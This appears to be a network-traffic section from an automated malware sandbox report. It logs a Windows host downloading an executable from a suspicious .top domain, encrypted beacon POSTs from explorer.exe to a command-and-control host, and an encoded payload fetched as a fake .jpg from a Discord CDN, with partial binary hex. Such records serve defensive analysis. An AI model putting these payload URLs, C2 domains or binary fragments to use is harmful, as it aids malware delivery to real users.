Oct 29, 2021 20:29:21.273890018 CEST	727	OUT	GET /downloads/toolspab2.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: privacytoolzforyou-6000.top
Oct 29, 2021 20:29:21.423413038 CEST	728	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:29:21 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Fri, 29 Oct 2021 18:29:01 GMT ETag: "54000-5cf820050e185" Accept-Ranges: bytes Content-Length: 344064 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 15 19 94 43 74 77 c7 43 74 77 c7 43 74 77 c7 2c 02 dc c7 6e 74 77 c7 2c 02 e9 c7 61 74 77 c7 2c 02 dd c7 3c 74 77 c7 4a 0c e4 c7 44 74 77 c7 43 74 76 c7 3c 74 77 c7 2c 02 d8 c7 42 74 77 c7 2c 02 ed c7 42 74 77 c7 2c 02 ea c7 42 74 77 c7 52 69 63 68 43 74 77 c7 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 36 ca 8e 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 be 03 00 00 c4 70 02 00 00 00 00 40 c3 01 00 00 10 00 00 00 d0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 74 02 00 04 00 00 31 96 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 c1 03 00 50 00 00 00 00 50 73 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 73 02 3c 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 b8 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 bc 03 00 00 10 00 00 00 be 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 69 6f 02 00 d0 03 00 00 16 00 00 00 c2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6c 75 66 75 6c 61 63 e5 02 00 00 00 40 73 02 00 04 00 00 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 50 73 02 00 40 00 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 22 01 00 00 90 73 02 00 24 01 00 00 1c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CtwCtwCtw,ntw,atw,<twJDtwCtv<tw,Btw,Btw,BtwRichCtwPEL6`p@@t1PPs?s<0@.text `.dataio@.lufulac@s@.rsrc?Ps@@@.reloc"s$@B
Oct 29, 2021 20:29:21.423449039 CEST	730	IN	Data Raw: c0 c3 03 00 dc c3 03 00 ea c3 03 00 f6 c3 03 00 02 c4 03 00 1a c4 03 00 38 c4 03 00 52 c4 03 00 64 c4 03 00 80 c4 03 00 98 c4 03 00 a6 c4 03 00 ba c4 03 00 c8 c4 03 00 e2 c4 03 00 f6 c4 03 00 06 c5 03 00 22 c5 03 00 32 c5 03 00 44 c5 03 00 5c c5 Data Ascii: 8Rd"2D\p 6FZj\|"8Pd 2@~
Oct 29, 2021 20:29:21.423465967 CEST	731	IN	Data Raw: 64 00 75 00 72 00 69 00 6e 00 67 00 20 00 6e 00 61 00 74 00 69 00 76 00 65 00 20 00 63 00 6f 00 64 00 65 00 20 00 69 00 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 61 00 74 00 69 00 6f 00 6e 00 0a 00 54 00 68 00 69 00 73 00 20 00 69 00 6e 00 Data Ascii: during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSI
Oct 29, 2021 20:29:21.423481941 CEST	733	IN	Data Raw: 00 00 00 00 52 00 36 00 30 00 31 00 38 00 0d 00 0a 00 2d 00 20 00 75 00 6e 00 65 00 78 00 70 00 65 00 63 00 74 00 65 00 64 00 20 00 68 00 65 00 61 00 70 00 20 00 65 00 72 00 72 00 6f 00 72 00 0d 00 0a 00 00 00 00 00 00 00 00 00 52 00 36 00 30 00 Data Ascii: R6018- unexpected heap errorR6017- unexpected multithread lock errorR6016- not enough space for thread
Oct 29, 2021 20:29:21.423501015 CEST	734	IN	Data Raw: 6d 00 65 00 2c 00 20 00 70 00 72 00 6f 00 67 00 6e 00 61 00 6d 00 65 00 5f 00 73 00 69 00 7a 00 65 00 2c 00 20 00 4c 00 22 00 3c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 6e 00 61 00 6d 00 65 00 20 00 75 00 6e 00 6b 00 6e 00 6f 00 77 00 Data Ascii: me, progname_size, L"<program name unknown>")Runtime Error!Program: wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[
Oct 29, 2021 20:29:21.423532009 CEST	735	IN	Data Raw: 00 00 00 00 00 42 e6 3f 00 00 00 00 00 06 e6 3f 00 00 00 00 00 06 e6 3f 00 00 00 00 00 ca e5 3f 00 00 00 00 00 ca e5 3f 00 00 00 00 00 8e e5 3f 00 00 00 00 00 8e e5 3f 00 00 00 00 00 56 e5 3f 00 00 00 00 00 56 e5 3f 00 00 00 00 00 1e e5 3f 00 00 Data Ascii: B???????V?V???????z?z?F?F?????????R?R?$?
Oct 29, 2021 20:29:21.423538923 CEST	737	IN	Data Raw: 0b ba b6 9d e1 3f 68 a2 a4 85 58 67 2b 3d 00 f8 6f 67 df e6 e1 3f aa 83 b9 81 ba 58 1a 3d 00 bc be d8 b0 30 e2 3f 7b 66 48 6e 06 fc 12 3d 00 3c c9 1e 9e 77 e2 3f 79 9b 35 73 33 52 36 3d 00 1c 84 f9 29 bf e2 3f ec b7 d3 61 38 8a fd 3c 00 0c 4f 34 Data Ascii: ?hXg+=og?X=0?{fHn=<w?y5s3R6=)?a8<O4W?4bV0=L?4@=@?X4=Tk?>_(=?o=@[c?,=$4b?dO"=lx?#608=&m?h"0=l?n6{<9[P
Oct 29, 2021 20:29:21.423543930 CEST	738	IN	Data Raw: 2d ee bb 3f ad 16 8d 58 5b 46 b4 3c 00 06 c1 2b 90 2e bc 3f 58 8e 20 15 6b 6e e0 3c 00 45 90 d9 f4 6e bc 3f db 54 a9 28 8d 2b e5 3c 00 c6 de 55 5b af bc 3f d6 89 1b d4 06 9c e4 3c 00 27 e7 a4 c3 ef bc 3f 6a 75 21 34 b8 95 a9 3c 00 16 e5 ca 2d 30 Data Ascii: -?X[F<+.?X kn<En?T(+<U[?<'?ju!4<-0?<Qp?<?{<qw?_W<C1?'<I\r?Dc<s>?<w*I?n'$<23?z7<[>t?V-Ai<
Oct 29, 2021 20:29:21.423562050 CEST	739	IN	Data Raw: 09 3d 00 88 5d c6 b0 13 d1 3f 01 96 a0 9d 36 87 0d 3d 00 6f da 4a 13 56 d1 3f 4a 8e f3 20 b2 62 05 3d 00 27 34 f4 88 98 d1 3f 2f b5 90 74 de 3e e1 3c 00 77 ed 1a 12 db d1 3f 61 eb 60 cc d6 d7 f8 3c 00 a3 5f 18 af 1d d2 3f 1f 61 dd 09 ae 65 07 3d Data Ascii: =]?6=oJV?J b='4?/t><w?a`<_?ae=F``?/f=#&?5SmT4<W?Rz< (?vY<k?pY.=y?8'<KuC?j<{=2<5?d=x?"a=@ic?%[9=
Oct 29, 2021 20:29:21.423579931 CEST	741	IN	Data Raw: 05 f1 6f 50 eb 40 14 3d 00 b0 da 59 ea 15 e8 3f e2 7f b1 cf bf 03 09 3d 00 07 01 84 0c 6e e8 3f 75 cd d0 98 3f b3 1b 3d 00 25 92 6b 19 c7 e8 3f 5a 45 4d 2d 27 5e 10 3d 00 10 44 54 1b 21 e9 3f 3a 5a c2 ca 6e 3d 1a 3d 00 b7 f5 30 1d 7c e9 3f 07 d0 Data Ascii: oP@=Y?=n?u?=%k?ZEM-'^=DT!?:Zn==0\|?O=*?m}I{=eP5?+}ZI=Q?^oc;<'?u/r<S?i1=q?/={ss?VV&=#k~?[<?vB<6#M?
Oct 29, 2021 20:29:21.477245092 CEST	742	IN	Data Raw: 93 11 5c 25 ef 3f 66 2c ce f3 91 21 ef 3f ea b0 b8 25 bf 1d ef 3f 4e 0e 1f a4 e3 19 ef 3f 24 08 c4 6b ff 15 ef 3f 80 6f 61 79 12 12 ef 3f 2a 14 a8 c9 1c 0e ef 3f 9c b5 3f 59 1e 0a ef 3f cd f3 c6 24 17 06 ef 3f c2 3f d3 28 07 02 ef 3f ee cb f0 61 Data Ascii: \%?f,!?%?N?$k?oay?*??Y?$??(?a?9y?99R?%R?F?@I?j T?0<?2j?p~?,L?@_o?7?'?VG?D<xZu?`\@j?)]Gq`?LcU?JupJ?CY

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.7	49756	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:24.119602919 CEST	1423	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ctxsek.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 319 Host: hajezey1.top
Oct 29, 2021 20:29:24.119606018 CEST	1423	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 9e 66 5d 02 c9 a1 c1 64 0e a2 92 3b Data Ascii: 7v:7AFTmwmwu$f]d;YG%}WtX'{\ig)jQP9jhWu^[.'zI=Xcq#K`Z;#:IqNMKX(QLRd;Pe?r}[;FYw4sTC\
Oct 29, 2021 20:29:24.198115110 CEST	1424	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.7	49757	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:24.308689117 CEST	1425	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ivcdxqts.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 214 Host: hajezey1.top
Oct 29, 2021 20:29:24.308945894 CEST	1425	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9f 66 5d 02 c8 a1 c1 64 31 96 a5 60 Data Ascii: 7v:7AFTmwmwu$f]d1`\z7c0%3@j[SyZE7.#B2>d/]>2x}9RL5JLS cR_3!V{8]`tq:5Y]V=
Oct 29, 2021 20:29:24.385056973 CEST	1425	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd e1 fd 5f f7 4d 91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:@_MqBJK,0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49773	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\B82B.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 18:29:49 UTC	0	OUT	GET /attachments/893177342426509335/903575517888925756/6D9E3C88.jpg HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-10-29 18:29:49 UTC	0	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:29:49 GMT Content-Type: image/jpeg Content-Length: 1023400 Connection: close CF-Ray: 6a5e78bacf3f5ca4-FRA Accept-Ranges: bytes Age: 32549 Cache-Control: public, max-age=31536000 ETag: "4c1a9946a2a50a9bee099f80736b83cb" Expires: Sat, 29 Oct 2022 18:29:49 GMT Last-Modified: Fri, 29 Oct 2021 09:26:31 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635499591138366 x-goog-hash: crc32c=ewuz5A== x-goog-hash: md5=TBqZRqKlCpvuCZ+Ac2uDyw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 1023400 X-GUploader-UploadID: ADPycdvJxlr9khbKEXfSQ9n_bxglLL7dSGVIxF6rk63UtNA6boJtNKCUIT3dV9e0Gr4n6Y4UdNwOh6zGJyRPl1vLRno X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=14m12h6yWEg%2FfDNMkW4TmUKid3G1J7lBVW2CQqIir59j38YgcLGMh5UpHGhTd0Dk7fP%2FlSUsTZyv6q9URA4WevuuqiqaFZXFRtOiywdgHEp%2BHpQVAFhAxvQx6fq71A0DJyaedQ%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 18:29:49 UTC	1	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 18:29:49 UTC	1	IN	Data Raw: 4f 71 4a 70 6d 57 44 45 58 4d 2d 45 45 20 4d 4f 20 71 6d 6d 20 4f 20 70 20 4f 20 4f 20 4f 20 6d 20 4f 20 4f 20 4f 20 4a 57 57 20 4a 57 57 20 4f 20 4f 20 71 58 6d 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 44 6d 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 71 4a 58 20 4f 20 4f 20 4f 20 71 6d 20 70 71 20 71 58 44 20 71 6d 20 4f 20 71 58 4f 20 4d 20 4a 4f 57 20 70 70 20 71 58 6d 20 71 20 45 44 20 4a 4f 57 20 70 70 20 58 6d 20 71 4f 6d 20 71 4f 57 20 71 71 57 20 70 4a 20 71 71 4a 20 71 71 6d 20 71 71 71 20 71 4f 70 20 71 71 6d 20 4d 45 20 71 4f 4d 20 70 4a 20 4d 4d 20 4d 45 20 71 71 4f 20 71 Data Ascii: OqJpmWDEXM-EE MO qmm O p O O O m O O O JWW JWW O O qXm O O O O O O O Dm O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O qJX O O O qm pq qXD qm O qXO M JOW pp qXm q ED JOW pp Xm qOm qOW qqW pJ qqJ qqm qqq qOp qqm ME qOM pJ MM ME qqO q
2021-10-29 18:29:49 UTC	2	IN	Data Raw: 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4a 57 20 6d 4f 20 4a 4a 4d 20 71 4f 4d 20 71 71 57 20 57 4f 20 6d 58 20 57 4f 20 57 4f 20 58 6d 20 71 71 6d 20 71 71 45 20 71 6d 44 20 71 6d 70 20 57 4f 20 6d 58 20 71 70 58 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 71 4a 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 Data Ascii: O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O JW mO JJM qOM qqW WO mX WO WO Xm qqm qqE qmD qmp WO mX qpX Wm Xm qqm qqE qOM qqJ WO qqJ WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO W
2021-10-29 18:29:49 UTC	4	IN	Data Raw: 71 71 4a 20 57 4f 20 45 44 20 71 58 70 20 57 57 20 58 6d 20 71 71 6d 20 58 57 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 58 6d 20 57 71 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 58 20 57 6d 20 58 6d 20 71 58 20 4d 71 20 70 71 20 70 20 44 6d 20 58 70 20 57 4f 20 57 6d 20 58 6d 20 71 45 58 20 71 71 58 20 71 4f 4d 20 71 71 4a 20 57 4f 20 4a 6d 4f 20 57 71 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4d 4f 20 6d 4d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 57 70 20 71 4f 4d 20 71 71 4a 20 71 71 6d 20 70 4f Data Ascii: qqJ WO ED qXp WW Xm qqm XW qOM qqJ WO qXm Wq Wm Xm qqX qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX qX Wm Xm qX Mq pq p Dm Xp WO Wm Xm qEX qqX qOM qqJ WO JmO Wq Wm Xm qqX qqE qOM qqJ qMO mM WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm Wp qOM qqJ qqm pO
2021-10-29 18:29:49 UTC	5	IN	Data Raw: 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 Data Ascii: mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO W
2021-10-29 18:29:49 UTC	6	IN	Data Raw: 20 70 4d 20 70 45 20 6d 45 20 4a 71 45 20 6d 4a 20 71 71 45 20 71 4f 4d 20 71 71 70 20 4a 70 20 70 58 20 44 6d 20 57 57 20 58 6d 20 71 71 6d 20 57 20 70 71 20 6d 71 20 57 4f 20 6d 58 20 44 44 20 45 4a 20 45 6d 20 71 71 6d 20 71 71 45 20 71 4f 70 20 58 58 20 6d 57 20 6d 58 20 57 4f 20 44 4f 20 4a 6d 44 20 58 45 20 4d 58 20 70 71 20 71 20 57 4f 20 6d 58 20 44 44 20 44 58 20 4a 57 71 20 71 71 6d 20 71 71 45 20 4a 4d 20 71 6d 20 6d 6d 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 71 4f 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 71 6d 6d 20 4a 71 20 6d 4a 20 44 58 20 71 6d 45 20 71 71 6d 20 71 71 45 20 4a 4d 20 4a 20 57 70 20 6d 4d 20 57 4f 20 45 4f 20 6d 4a 20 71 4f 58 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 6d 45 20 57 4f 20 57 6d 20 4d 6d 20 4a 4f 58 20 Data Ascii: pM pE mE JqE mJ qqE qOM qqp Jp pX Dm WW Xm qqm W pq mq WO mX DD EJ Em qqm qqE qOp XX mW mX WO DO JmD XE MX pq q WO mX DD DX JWq qqm qqE JM qm mm mX WO DO qJm qOM qqE qOM qJJ qmm Jq mJ DX qmE qqm qqE JM J Wp mM WO EO mJ qOX qqE qOM qJJ JD mE WO Wm Mm JOX
2021-10-29 18:29:49 UTC	8	IN	Data Raw: 71 71 6d 20 71 71 70 20 44 4d 20 71 71 6d 20 57 4f 20 6d 58 20 4a 57 20 58 4d 20 71 71 4a 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 45 20 57 57 20 70 70 20 57 6d 20 4a 4f 4f 20 58 4a 20 71 44 6d 20 71 71 44 20 71 4f 4d 20 71 71 58 20 44 57 20 70 4f 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 20 71 70 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 71 20 70 71 20 70 70 20 71 71 6d 20 71 4a 20 71 6d 4a 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 4f 44 20 57 4a 20 4a 70 57 20 58 57 20 71 71 6d 20 71 71 57 20 70 4f 20 4d 57 20 57 4f 20 6d 58 20 57 44 20 71 4d 20 4a 71 4a 20 71 6d 4f 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 44 20 57 71 20 57 4f 20 57 6d 20 71 4a 45 20 4a 4d 20 4d 57 20 71 4f 58 20 71 71 4a 20 57 4a 20 70 70 20 57 57 20 70 4d 20 58 4f 20 71 6d 4f 20 71 71 57 20 Data Ascii: qqm qqp DM qqm WO mX JW XM qqJ qqW qqE qOE ME WW pp Wm JOO XJ qDm qqD qOM qqX DW pO WO Wm Mm qJ qpM qOM qqJ Wm Jq pq pp qqm qJ qmJ qOM qqJ Wm JOD WJ JpW XW qqm qqW pO MW WO mX WD qM JqJ qmO qqE qOM qqD JD Wq WO Wm qJE JM MW qOX qqJ WJ pp WW pM XO qmO qqW
